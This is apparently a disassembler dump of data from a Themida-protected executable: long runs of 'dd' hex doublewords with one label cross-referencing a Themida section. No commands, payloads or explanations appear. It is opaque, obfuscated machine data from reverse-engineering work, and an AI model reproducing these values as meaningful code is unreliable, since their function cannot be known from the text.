		dd 0Bh,	0F9E22E1Ah, 48B38B64h, 6A93BABBh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FE70C355h
		dd 64FE3488h, 8094C556h, 0E7F7BB66h, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E9026216h, 0Eh, 0B891361Ch,	751DB882h, 4A15908Ah, 89F86519h
		dd 481B8985h, 19958B06h, 8B06480Ah, 48005D9Dh, 358D8B06h
		dd 8906480Fh, 48254D95h, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0ED7CC351h,	6A44E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 4B2013C3h, 5A09BF67h, 833B1DCEh, 4819A5BDh, 840F0006h
		dd 6Dh,	0B87DE780h, 0
		dd 4644CBFh, 3830F4Bh, 66000000h, 8D8DFB8Bh, 6484B64h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D7C35242h
		dd 4C81B866h, 0F9050EF8h, 0DE9h, 51900600h, 46C0AAA9h
		dd 902052B7h, 0E1FFBA2Bh, 47C78166h, 0AE881h, 893F0000h
		dd 2D6B5A14h, 3FF77A1Ch, 0E525BB66h, 25BD835Bh,	64824h
		dd 395840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FC252BC3h, 2425BD83h, 0F010648h
		dd 38584h, 0BD83F800h, 6482425h, 41860F03h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 7D70C356h, 1E022442h, 818529B1h, 60064806h
		dd 8BDBB70Fh, 482061BDh, 0D98C6606h, 0F04E180h,	0C90AD8B7h
		dd 144840Fh, 9D010000h,	6480B6Dh, 2385858Bh, 6A0648h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8B4CC3h, 6481839h, 0CE9h,	0D2D8200h, 8119AE52h, 36BAB4A3h
		dd 0C9853357h, 6A06482Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0EA3DC350h,	1F219D8Bh
		dd 0E8900648h, 14h, 944CFD58h, 243CA389h, 34342E54h, 32BCD0CAh
		dd 0CFB7333h, 5250505Bh, 0AE953h, 11DA0000h, 9B8E58AAh
		dd 6716CFE4h, 66310F5Bh, 585AD98Bh, 0BF0F5090h,	6A5FDEh
		dd 0AE9h, 8AEA9A00h, 37C0419Fh,	6830954Fh, 0A4A3734Bh
		dd 0B4240481h, 6A5B7B90h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B6ABC352h,	195FFB5h
		dd 6A06481Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9824C355h, 89FCD3D3h, 4BB92C85h
		dd 85896006h, 6481425h,	95B58B53h, 59064805h, 194E961h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 623A26C3h, 0DD98589h, 858B0648h, 64BB924h
		dd 880Fh, 0C70000h, 18h, 8BDBBF0Fh, 28B58BD9h, 6A064BB9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0A0E2C350h, 858B0A92h, 6482BF1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 54C35545h, 3D326E02h
		dd 0BD233B63h, 648259Dh, 12E8h,	0F23C5100h, 0B0CE3709h
		dd 1BF6D064h, 6DAEFE9Eh, 80E7ADFAh, 895FA8F7h, 45850106h
		dd 8B064810h, 48238585h, 0F5BF6606h, 44689C3h, 30A18589h
		dd 66500648h, 3489D88Bh, 24B5FF24h, 8B064BB9h, 481A05BDh
		dd 18186806h, 8B6028C5h, 615956F8h, 0E7243481h,	6A28DA1Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 113DC350h, 79C1B7CBh, 0DB805208h,	858D5FDAh
		dd 64BB92Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	1BC35747h, 0AA0B8CA9h, 0DE95Ah,	78390000h, 91B49083h
		dd 0EBFC5EAEh, 0FA59C2Dh, 683h,	75B52900h, 5006480Bh, 0F5F1BB66h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0D1F0C355h, 0B9B960BBh, 12B30BCh
		dd 480DBDBDh, 95FF6106h, 6481C01h, 30C9B589h, 89610648h
		dd 480B5D9Dh, 2585C706h, 3064824h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 2F23C352h, 2CBD835Dh, 64BB9h, 0E840Fh, 8D890000h, 6480A95h
		dd 1EE9h, 5FFC5300h, 110C3050h,	1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 481E19BDh, 10E906h, 66F70000h
		dd 0E9375A58h, 0F01AB8B9h, 7479257Bh, 6A6C10h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B79C17C3h, 0CC421558h, 31B8ED3Dh, 4829E5BDh, 25BD8306h
		dd 3064824h, 3AA850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0FA8B02C3h, 0B92CBD83h
		dd 0F00064Bh, 37F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0F51FB5D1h, 237D9C65h
		dd 4800519Dh, 4880F06h,	66000000h, 0FF9052BFh, 4BB92CB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0D3BD588Fh, 7BA58BA6h, 9D8B7098h, 6482B0Dh
		dd 8E9h, 11904600h, 577A7C80h, 3595FFBDh, 8B06480Eh, 4BB920B5h
		dd 0C7F1BB06h, 6C72D20h, 10001h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 18h, 64C35040h, 0F0BAC6BCh, 5FD88B57h
		dd 6558529h, 66960648h,	5050D88Bh, 2870F52h, 50000000h
		dd 0B3310F5Fh, 96585ACEh, 0FFDF8B66h, 4BB92CB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 1875FB9Ah, 0B23D7B28h, 0D59D3398h, 0FF064804h, 481D5995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BB048A2h, 480AC19Dh, 20B58B06h,	66064BB9h
		dd 858BDF8Bh, 6481049h,	89FBBF0Fh, 0C486h, 5DBD8900h, 8B06480Fh
		dd 480A1995h, 835F5006h, 8F0F04C2h, 0Dh, 0F1B58960h, 66064825h
		dd 154BE881h, 20508961h, 0D88B6653h, 9858D5Bh, 8B064BCEh
		dd 4820F1BDh, 0B8868906h, 0F000000h, 687h, 7FC38100h, 6A5482ACh
		dd 299D8B00h, 0FF06482Ch, 4BB92CB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 3F21538Dh
		dd 96E4B475h, 0E781B32Ch, 60CC5EB6h, 23E195FFh,	6A0648h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0DA4A5CC3h, 0DA178970h, 6820F3Bh, 89000000h,	4827659Dh
		dd 68A0F06h, 89000000h,	48214185h, 1BF5006h, 896F594Dh
		dd 0B5FF2434h, 64BB92Ch, 0A1D9589h, 95FF0648h, 6480E2Dh
		dd 280DB509h, 0BD830648h, 6481CA1h, 57840F00h, 89000000h
		dd 481D0D85h, 9E89606h,	0C0000000h, 0A24E86B0h,	80D3D7B2h
		dd 5252505Fh, 0EE8h, 6D712000h,	0C896E813h, 0DF81FDF7h
		dd 5F84F197h, 6A965F5Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 364C352h, 0AE0126Fh
		dd 2A21BD8Bh, 0B5FF0648h, 64BB92Ch, 0C880F60h, 0E9000000h
		dd 7, 0EAD3E1C2h, 8BF381C9h, 480ED185h,	95FF6106h, 6482719h
		dd 1FCDBD89h, 0B5FF0648h, 64BB92Ch, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 6BC35141h, 0FFDBBF0Fh, 480B4195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 823FF813h, 4C5818C5h, 8BEB8166h,	0F59D8B78h
		dd 83064819h, 480CCDBDh, 840F0206h, 5Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 0B2C35545h, 209D5AFEh
		dd 6E2100F5h, 3D9D8B97h, 8906480Bh
		dd 4823699Dh, 0D5858B06h, 6006480Fh, 31E58D89h,	61FC0648h
		dd 0C8C0Fh, 810F0000h, 6, 30199D8Bh, 0C60648h, 1D958900h
		dd 0C7064828h, 480E6985h, 6, 0F6DB8000h, 0FFF462E9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 413ACF58h, 12E9h, 84CFA200h,	295026E4h, 297440AAh, 0C9C318E6h
		dd 0BFCDFCE8h, 448A7913h, 858DC18Bh, 64832FDh, 21E1BD8Bh
		dd 9D8B0648h, 6482C95h,	0A705BB50h, 4892EA1h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8D89A19Bh, 6482F69h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B7852C3h, 480CD59Dh
		dd 36DB8006h, 8DFC006Ah, 4C920085h, 0D1BD8B06h,	83064824h
		dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 5ED61EC3h, 0F609054h, 388h, 0F88B6600h, 5061D08Bh
		dd 158D2990h, 57064830h, 199D2960h, 33064821h, 481FC1BDh
		dd 6A5F6106h, 7084BB00h, 6A7A24h, 20AD9D89h, 95FF0648h
		dd 648277Dh, 8D9FD780h,	4B9C148Dh, 6DDB8006h, 6AD1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 39585BC3h, 7CF7F148h, 0C18D2903h, 8306480Fh,	481949BDh
		dd 850F0106h, 43h, 18810Fh, 12E80000h, 0A9000000h, 3F44B17Eh
		dd 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh, 26A5F7Fh,	1FD58D89h
		dd 66900648h, 503202BFh, 0FFB8B390h, 4823E195h,	9E906h
		dd 0BF170000h, 9F015FF9h, 0E9C4C6BEh, 0DDBh, 0E8h, 0ED815D00h
		dd 64C920Ah, 0D59BD01h,	6A0648h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0FD3B10C3h, 0AFB8943Dh
		dd 0BB432489h, 235F13D1h, 9744858Dh, 0BF66064Bh, 66905A60h
		dd 6650DE8Bh, 9094BEBFh, 35FF64F5h, 0
		dd 2ABD9D8Bh, 89640648h, 25h, 0FFDA8B00h, 480A2D85h, 6890F06h
		dd 8B000000h, 4815259Dh, 0FFFF6A06h, 4828C9B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0C2231D46h, 0C22737A8h, 8D9D8984h, 0FF06481Dh, 480AA595h
		dd 14AE906h, 0CE80000h,	0E9000000h, 0C302D359h,	363D97BBh
		dd 5F8A7CB0h, 2CE5BD8Bh, 0B00648h, 8970E6F8h, 4825D99Dh
		dd 0E971E406h, 0Ah, 774C86CEh, 0D8CC0F20h, 613CD843h, 10E830Fh
		dd 9D8B0000h, 64819E1h,	2BC8B60Fh, 4831E59Dh, 6BA06h, 0BD8B0000h
		dd 6481E41h, 9D23C18Bh,	6481F99h, 0B704E8C1h, 0E2F766B8h
		dd 0B3C82BF8h, 33D18BE9h, 4804B5BDh, 14E906h, 0FE90000h
		dd 97000000h, 867FAD82h, 2C7F53A3h, 0EC1B4CEAh,	858BAEF8h
		dd 6482331h, 26ADBD8Bh,	0C0830648h, 119D8B07h, 83064800h
		dd 0DE900C0h, 3D000000h, 20241831h, 75AEB672h, 54F2C95Dh
		dd 830FD03Bh, 2Ah, 19C59589h, 81E90648h, 0E8000000h, 13h
		dd 69C1C76Ah, 0CB929381h, 99DD5ABEh, 0D7F63480h, 81094577h
		dd 0ED8504EBh, 8D8B5B4Eh, 6481FFDh, 0C7EB8166h,	1E183E6h
		dd 4E840Fh, 14E90000h, 0B8000000h, 32967240h, 3DDAC975h
		dd 0B5F35F1Bh, 59FF0FE9h, 835D0A19h, 481FFDA5h,	14E8FE06h
		dd 0B2000000h, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch
		dd 806A4213h, 895F14E3h, 48233195h, 0DDB58906h,	0E9064832h
		dd 0
		dd 13C7B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0A7459DC3h, 0EAB36D11h, 2DBD8929h
		dd 6A06481Bh, 0C7816600h, 95FF9C0Fh, 6483061h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h, 0ECF8CA4Ch
		dd 0CFB923C7h, 66000008h, 6C3BD381h, 6AFCE183h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8ACDC352h, 0D11621D8h, 6AFC4D21h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CE0C355h
		dd 423245E6h, 80B6BF13h, 0B86A2Bh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0FC04C355h, 0BAF993C9h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0EDC35545h
		dd 89B649F8h, 4804E995h, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0D19D8BF4h, 81064831h, 4FAA5CE7h, 51006A64h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 4D535969h
		dd 0ED9637C1h, 2AB99D89h, 880D0648h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9B11C357h, 0F40F5861h, 8B0Fh, 958B0000h, 6480A19h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FAC35747h, 0D3D8589h
		dd 8D8B0648h, 6480F35h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 18C35747h, 0C6D21F5Ch, 5781BEE0h, 18919D8Bh
		dd 8B5F0648h, 4810F19Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 0E858188Bh, 5
dword_58635C	dd 0EE3478F4h, 41952922h, 5B06482Eh, 27919D89h,	9D2B0648h
					; DATA XREF: Themida_:0053F500o
		dd 648245Dh, 19A5BD83h,	0F000648h, 8C84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 6C27F118h, 5A33EB9Ah, 0B8B2B7B0h, 0
		dd 6890Fh, 0BD230000h, 64814C9h, 4B648D8Dh, 6A0648h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 891135C3h, 481E71B5h, 0F88B6606h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 377BAAC3h
		dd 41B011A0h, 53B2DBFh,	25BD835Fh, 64824h, 44D840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0BFE983C3h, 21226B9Fh, 2425BD83h, 0F010648h,	43984h
		dd 25BD8300h, 3064824h,	3F6860Fh, 95890000h, 6481DDDh
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 161AAE15h, 0E8A7BD84h, 0Bh, 283A045Fh, 0E6AA9F0Dh
		dd 8B80AE1Bh, 0DA8B5BF8h, 6AD98C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 410AC351h
		dd 156D0B05h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0B641C355h,	934CE2F3h
		dd 24C18589h, 0C90A0648h, 11A840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 2D0011C3h
		dd 858BA813h, 6482385h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 2CC35646h, 5665C78Eh,	2CC42E64h, 9D8BF8B9h
		dd 64805EDh, 2AC98533h,	0BD290648h, 6482AE1h, 2C858D89h
		dd 66500648h, 893028BBh, 10E92404h, 0D2000000h,	6D0468DAh
		dd 0E95620E8h, 9CDF80AAh, 8B818CFFh, 480C49BDh,	0F006A06h
		dd 680h, 85B58900h, 8906480Dh, 482EF59Dh, 4E806h, 3FF0000h
		dd 8B66001Fh, 8B6650F8h, 24448BF8h, 66008B04h, 4489F98Bh
		dd 0D88A0424h, 0FF4AB758h, 481C0195h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0B6ACA96h, 0FC87ECB8h, 0B92C8589h, 0FB8B064Bh, 1D1E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 90C7532Bh, 8D09A328h, 64830E1h, 0B924858Bh
		dd 0C7064Bh, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	8CC35747h, 4471D985h, 0FE97Fh, 9A1A0000h, 23E32F09h
		dd 6F34B768h, 0EE8650BDh, 28B58BDCh, 8B064BB9h,	481E35BDh
		dd 0F1858B06h, 0E806482Bh, 0Bh,	3CBF3487h, 667D6CA0h, 8913B226h
		dd 480EE585h, 0BF665B06h, 689E1BFh, 858BF88Bh, 6482385h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 52C35040h
		dd 0F8F2656Bh, 68C0Fh, 9D8B0000h, 6480649h, 28159509h
		dd 9BF0648h, 8922E4E1h,	9D230446h, 64808B9h, 52505296h
		dd 4258BB66h, 5F50310Fh, 505F585Ah, 5BF88B57h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 3CB1C6A5h, 8C4B4752h, 91BD032Dh, 0FF06480Ch,	4BB924B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0F747CEA4h, 2CB58589h, 4E80648h,	0FF000000h
		dd 50001F03h, 448BFE8Bh, 890F0424h, 5, 0A9D820BBh, 8A008B5Fh
		dd 244489DEh, 810F6004h, 0
		dd 5861D78Bh, 8B524EB3h, 482D819Dh, 858D5F06h, 64BB92Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 77C35747h
		dd 8BBAE7F9h, 482E0DBDh, 4895006h, 10E824h, 0C4A40000h
		dd 91DB79B2h, 5C53926Bh, 82608308h, 0CB8024D0h,	95FF5B76h
		dd 6481C01h, 6A61FA8Bh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 5DF0C351h, 0BD162516h
		dd 66569831h, 0C7EE56BBh, 48242585h, 306h, 0FB8B6600h
		dd 83A8EB80h, 4BB92CBDh, 840F0006h, 58h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 46C35747h, 0BD03EE43h
		dd 6483119h, 11E78166h,	45E904h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 833B8EC3h
		dd 0A74A23A5h, 85891A6Ch, 6482DF1h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 28E1C356h, 59F43F9Ah, 0E95220F0h, 13h, 48683ED6h, 428156h
		dd 50017634h, 4440DABAh, 5B1F129Ch, 0F1958960h,	23064820h
		dd 480D79B5h, 0BD836106h, 6482425h, 1C850F03h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 6F61C353h, 2AA481E0h, 892BB22Eh, 4800F9B5h
		dd 0B18D8906h, 83064824h, 4BB92CBDh, 840F0006h,	3DFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EEC35343h, 5C042912h
		dd 6657C34Bh, 0D673C381h, 2CB5FF5Bh, 31064BB9h,	481D159Dh
		dd 3595FF06h, 6A06480Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0C2B8C356h,	527A099Fh
		dd 30C52A25h, 8BD98B66h, 4BB920B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0D36481A0h
		dd 0BA35AC7Fh, 27E9BD8Bh, 6C70648h, 10001h, 31119D8Bh
		dd 8B960648h, 0FE850D9h, 46000000h, 6EBA3CD9h, 0B5B91CDAh
		dd 13FA1377h, 5250CFCFh, 310F5250h, 310F585Ah, 5AFA8B66h
		dd 60965F58h, 1CBDBD29h, 8CB90648h, 614FDF0Dh, 0B92CB5FFh
		dd 0CB81064Bh, 62595ED1h, 1D5995FFh, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B70F01C3h
		dd 31BD8BFFh, 8B064828h, 4BB920B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 98B23D7Bh
		dd 89385621h, 482569B5h, 49858B06h, 6A064810h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 3AA8C350h, 26FDBD8Bh, 86890648h, 0C4h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 5CC35646h, 22AEEDC3h
		dd 958B8283h, 6480A19h,	0E904C283h, 9, 4FC49FE7h, 2BE86E38h
		dd 20508972h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	65C35646h, 574AB34Dh, 0CE09858Dh, 6652064Bh, 0E95FFA8Bh
		dd 12h,	1EB2130Fh, 0E46E1C21h, 2E1D1370h, 6037BBA3h, 8689A576h
		dd 0B8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 19h,	9BC35141h, 0D43AE8C7h, 9D8529A6h, 6A064809h, 76F38100h
		dd 0FF1DEEC6h, 4BB92CB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0E195FF6Ch
		dd 6A064823h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E8FCC352h, 2820Fh, 0F88B0000h
		dd 1D4D9D23h, 0F500648h, 382h, 0F98B6600h, 0F9243489h
		dd 0B92CB5FFh, 6A064Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 7EBC3CC3h, 0C45F566Eh, 81D8D18Fh
		dd 46CA94D3h, 2D95FF56h, 8906480Eh, 4828299Dh, 0A1BD8306h
		dd 6481Ch, 10840Fh, 4DBB0000h, 50718B19h, 0C224E6BBh, 24348909h
		dd 0B5FFDA8Ah, 64BB92Ch, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 3C35040h, 0CE9h, 0B1E5A100h, 0DE090B81h
		dd 5FF8B33Bh, 0EE9F6h, 0CE980000h, 55F9DB3h, 1DFC1899h
		dd 0DF284C51h, 271995FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D7486FC3h, 0F9BD8BC9h
		dd 0E9064829h, 10h, 73F525FFh, 0FCD63C95h, 8A2DC1A3h, 947AE338h
		dd 0B92CB5FFh, 6A064Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0BC1602C3h, 11F3FB98h, 5D8D89h
		dd 95FF0648h, 6480B41h,	7A68CF81h, 95892152h, 6480091h
		dd 0CCDBD83h, 0F020648h, 2784h,	66BB6600h, 0D5858BD6h
		dd 0E806480Fh, 5, 0AB01F36Bh, 5FD98B8Bh, 199D9529h, 0C60648h
		dd 0BD89F800h, 6481D1Dh, 0E6985C7h, 648h, 81660000h, 0E95AACD7h
		dd 0FFFFF2D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0EEC35646h, 878BF83Fh, 67CE04B3h, 659D89C8h, 0F064829h
		dd 0C18BDFB7h, 453BBF51h, 8D5F78C1h, 4832FD85h,	0EDBD8B06h
		dd 50064820h, 0BF665250h, 310F9385h, 0F98B6652h, 89585A5Fh
		dd 6A2404h, 253D9D8Bh, 6A0648h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 7FC35646h, 0E98EA6DCh, 0Ch
		dd 95621BDAh, 79F363F5h, 0D2514B3Ah, 6799529h, 858D0648h
		dd 64CA1C1h, 182D9589h,	0C0830648h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 56699C11h
		dd 0E1CB81B0h, 5061C71Eh, 489E4B7h, 6624BB24h, 6A2B69h
		dd 6ADA8Bh, 8F0Fh, 95FF0000h, 648277Dh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 4CC35747h, 0FD086667h
		dd 20BCFE3Ch, 23419D2Bh, 80600648h, 0BE66C0C7h,	8D61EB08h
		dd 4B9C148Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 4BB36E2Ch, 0FFD98B66h, 53006AD1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D8BCE84h, 6480E19h,	1949BD83h, 0F010648h, 0A385h, 26AF500h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 38C35545h
		dd 74A7A215h, 2015BD29h, 0E9500648h, 0Ch, 0DE77EA99h, 0CC25E4D9h
		dd 0F1844AEEh, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8B8FC350h, 480F7DBDh
		dd 10E906h, 0A4410000h,	0B556D4EAh, 0B6CE257Eh,	0DA8EE952h
		dd 95FF7CBCh, 64823E1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0DC35545h, 3CE71B25h,	9509E308h, 6480935h
		dd 0E02E9h, 0E800h, 815D0000h, 4CA1CBEDh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 3ED472DEh, 8B568C5Eh
		dd 0EF8166D9h, 858DA7EBh, 64B9744h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 7DC35646h, 899D8B73h, 9006482Dh
		dd 30E8BF66h, 9041B750h, 0D5ACD781h, 0FF645B5Bh, 35h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0CC72E633h, 0CE9h, 5E2BE400h, 18F86697h, 0C3338215h
		dd 2589647Ah, 0
		dd 7CE8160h, 600D8D43h,	0C781CA8Bh, 0F84C5Fh, 9D296161h
		dd 6480A41h, 0A2D85FFh,	0BD8B0648h, 6482B7Dh, 6AFB8B66h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 81EBACF5h, 0E9092DDFh, 8D9D8B77h, 0FF06482Fh
		dd 48228DB5h, 11BD8B06h, 0FF064805h, 480AA595h,	15AE906h
		dd 9D8B0000h, 6482955h,	0D88B00B0h, 0FE960h, 619F0000h
		dd 196AB0B4h, 65787B45h, 4C90EBA1h, 0D98166D9h,	0E661EAFCh
		dd 0CDBD8B70h, 66064800h, 5094EB81h, 0BD8B71E4h, 6481561h
		dd 830F613Ch, 118h, 29E59D8Bh, 0B60F0648h, 0D99D29C8h
		dd 0BA06482Bh, 6, 12E956h, 0D2F10000h, 1E8B4198h, 0D34CA258h
		dd 1394AE27h, 794B2E1h,	7D9D8B5Bh, 8B064825h, 75BD8BC1h
		dd 0C106482Ah, 8C0F04E8h, 8, 850F51h, 5F000000h, 66E2F766h
